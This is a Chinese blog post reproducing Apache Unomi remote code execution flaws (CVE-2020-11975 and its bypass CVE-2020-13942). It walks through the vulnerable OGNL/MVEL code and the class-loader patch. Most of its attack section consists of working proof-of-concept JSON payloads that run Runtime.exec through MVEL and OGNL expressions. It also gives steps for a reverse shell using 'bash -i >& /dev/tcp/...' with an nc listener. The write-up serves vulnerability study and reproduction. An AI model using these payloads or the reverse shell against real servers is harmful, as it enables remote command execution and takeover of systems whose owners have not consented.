• 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)




    一、Apache Unomi简介

    Apache Unomi(发音为“You know me”)是一个 Java 开源客户数据平台,一个 Java 服务器,旨在管理客户、潜在客户和访问者数据并帮助个性化客户体验,同时还提供尊重访问者隐私规则(如 GDPR)的功能。

    二、CVE-2020-11975漏洞

    Apache Unomi<1.5.1的版本中,远程攻击者发送带有MVEL和OGNL表达式的请求,导致远程代码执行,权限是Unomi应用程序的运行权限,漏洞编号为CVE-2020-11975。而CVE-2020-13942是对CVE-2020-11975补丁的绕过。

    2.1、CVE-2020-11975漏洞代码

    点击查看CVE-2020-11975漏洞代码地址

    下述代码段解析:PropertyConditionEvaluator类负责conditions(条件)内的OGNL表达式的计算/执行。

    public class PropertyConditionEvaluator implements ConditionEvaluator {
     ...
      protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
            ExpressionAccessor accessor = getPropertyAccessor(item, expression);
            return accessor != null ? accessor.get(getOgnlContext(), item) : null;
        }
     ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    集合上述代码,我们分析:当Unomi收到如下数据时,Unomi会如何执行

    {
      "condition":{
        "parameterValues":{
          "propertyName":"Uname1 Uname2",
          "comparisonOperator":"equals",
          "propertyValue":"male"
          }
      }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    1、Unomi根据用户输入的属性名称(property name),查找硬编码的属性(hardcoded properties)
    2、找不到时,则调用getOGNLPropertyValue方法,该方法将用户输入的属性名称(property name)作为一条OGNL表达式,计算/执行这个"属性名称"。
    3、在计算/执行OGNL表达式时, ExpressionAccessor使用"默认参数"(default parameters),从而导致了任意OGNL表达式的计算/执行。

    CVE-2020-11975 OGNL注入POC如下:

    POST /context.json HTTP/1.1
    Host: localhost:8181
    Connection: close
    Content-Length: 749
    
    {
        "filters": [
            {
                "id": "sample",
                "filters": [
                    {
                        "condition": {
                            "parameterValues": {
                                "":"script::Runtime r = Runtime.getRuntime(); r.exec(\"ping dnslog\");"
                            },
                            "type":"profilePropertyCondition"
                        }
                    }
                ]
            }
        ],
        "sessionId": "sample"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    2.2、CVE-2020-11975漏洞修复代码

    变更1:OGNL处理过程增加了SecureFilteringClassLoader
    SecureFilteringClassLoader添加到getOGNLPropertyValue()方法的OgnlContext中,以防止计算/执行任意OGNL表达式。

    public class PropertyConditionEvaluator implements ConditionEvaluator {
        ...
        protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
            ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
            OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
            ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
            return accessor != null ? accessor.get(ognlContext, item) : null;
        }
        ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    变更2:MVEL处理过程增加了SecureFilteringClassLoader
    SecureFilteringClassLoader添加到getOGNLPropertyValue()方法的OgnlContext中,以防止计算/执行任意OGNL表达式。

    public class ConditionContextHelper { 
    ...  
        private static Object executeScript(Map<String, Object> context, String script) {
            final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
            try {
                if (!mvelExpressions.containsKey(script)) {
                    ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
                    Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
                    ParserConfiguration parserConfiguration = new ParserConfiguration();
                    parserConfiguration.setClassLoader(secureFilteringClassLoader);
                    mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
                }
                return MVEL.executeExpression(mvelExpressions.get(script), context);
                ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    变更3:引入了SecureFilteringClassLoader安全过滤的ClassLoader
    SecureFilteringClassLoader类重写了ClassLoader类的loadClass()方法,在预定义的集合(predefined set)中明确限制了可访问的类(accessible classes) ,并根据allowlist和blocklist来检查表达式中使用的类:
    如果匹配中了blocklist,则抛出异常;
    如果没匹配中allowlist,则抛出异常;
    以此来限制计算/执行任意MVEL和OGNL表达式。

    @Override
        public Class<?> loadClass(String name) throws ClassNotFoundException {
            if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
                throw new ClassNotFoundException("Access to class " + name + " not allowed");
            }
            if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
                throw new ClassNotFoundException("Access to class " + name + " not allowed");
            }
            return delegate.loadClass(name);
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    三、CVE-2020-13942漏洞

    CVE-2020-11975 主要通过引入SecureFilteringClassLoader函数,重写ClassLoder类的loadClass()方法,通过黑白名单的方式过滤掉表达式中使用的类,以此来进行防御。
    但是MVEL表达式可以直接使用已实例化的类(例Runtime或System),不调动loadClass(),以此来绕过SecureFilteringClassLoader

    复现步骤

    3.1、执行MVEL表达式

    访问IP:8181抓包更改请求为:POST /context.json
    Content-Type为:application/json
    执行curl 监听端IP:port
    在这里插入图片描述

    监听端执行nc -lvvp 6666
    在这里插入图片描述

    POC见下:

    {
        "filters": [
            {
                "id": "sample",
                "filters": [
                    {
                        "condition": {
                             "parameterValues": {
                                "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"command\");"
                            },
                            "type": "profilePropertyCondition"
                        }
                    }
                ]
            }
        ],
        "sessionId": "sample"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    3.2、执行OGNL表达式

    访问IP:8181抓包更改请求为:POST /context.json
    Content-Type为:application/json
    执行curl 监听端IP:port
    在这里插入图片描述

    监听端执行nc -lvvp 6666
    在这里插入图片描述

    POC见下

    {
      "personalizations":[
        {
          "id":"gender-test",
         "strategy":"matching-first",
          "strategyOptions":{
            "fallback":"var2"
          },
          "contents":[
            {
              "filters":[
                {
                  "condition":{
                    "parameterValues":{
                     "propertyName":"(#runtimeclass =#this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod =#runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj= #getruntimemethod.invoke(null,null)).(#execmethod =#runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{?#this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{?#this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"command\"))",
                      "comparisonOperator":"equals",
                     "propertyValue":"male"
                    },
                   "type":"profilePropertyCondition"
                  }
                }
              ]
            }
          ]
        }
      ],
      "sessionId":"sample"
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    3.3、反弹shell

    访问IP:8181抓包更改请求为:POST /context.json
    Content-Type为:application/json
    执行bash -i >& /dev/tcp/10.211.55.3/6666 0>&1,需要进行base64加密。
    在这里插入图片描述

    监听端执行nc -lvvp 6666
    在这里插入图片描述


    参考: https://github.com/apache/unomi/blob/206b646eb5cfa1e341ca7170705721de9b5b9716/persistence-elasticsearch/core/src/main/java/org/apache/unomi/persistence/elasticsearch/conditions/ConditionContextHelper.java#L81-L89 https://github.com/apache/unomi/commit/823386ab117d231df15eab4cb4b7a98f8af546ca

    https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md

  • 相关阅读:
    Android SurfaceFlinger导读(04)理解BufferQueue
    C++各知识点参考资料汇总(不定期更新)
    MySQL逻辑架构整理
    零基础入门智能射频---python的无人机测向天线自动化设计
    【目标检测】目标检测算法-从OverFeat到YOLO
    思想茶叶蛋 (Aug 20,2022)| 网传B站hr说用户是loser、互联网之父的救赎和Web3.0
    Flink学习19:算子介绍keyBy
    开源图像分类工具箱MMClassification安装及使用示例
    使用Vue + axios实现图片上传,轻松又简单
    跳表与红黑树
  • 原文地址:https://blog.csdn.net/sycamorelg/article/details/125495938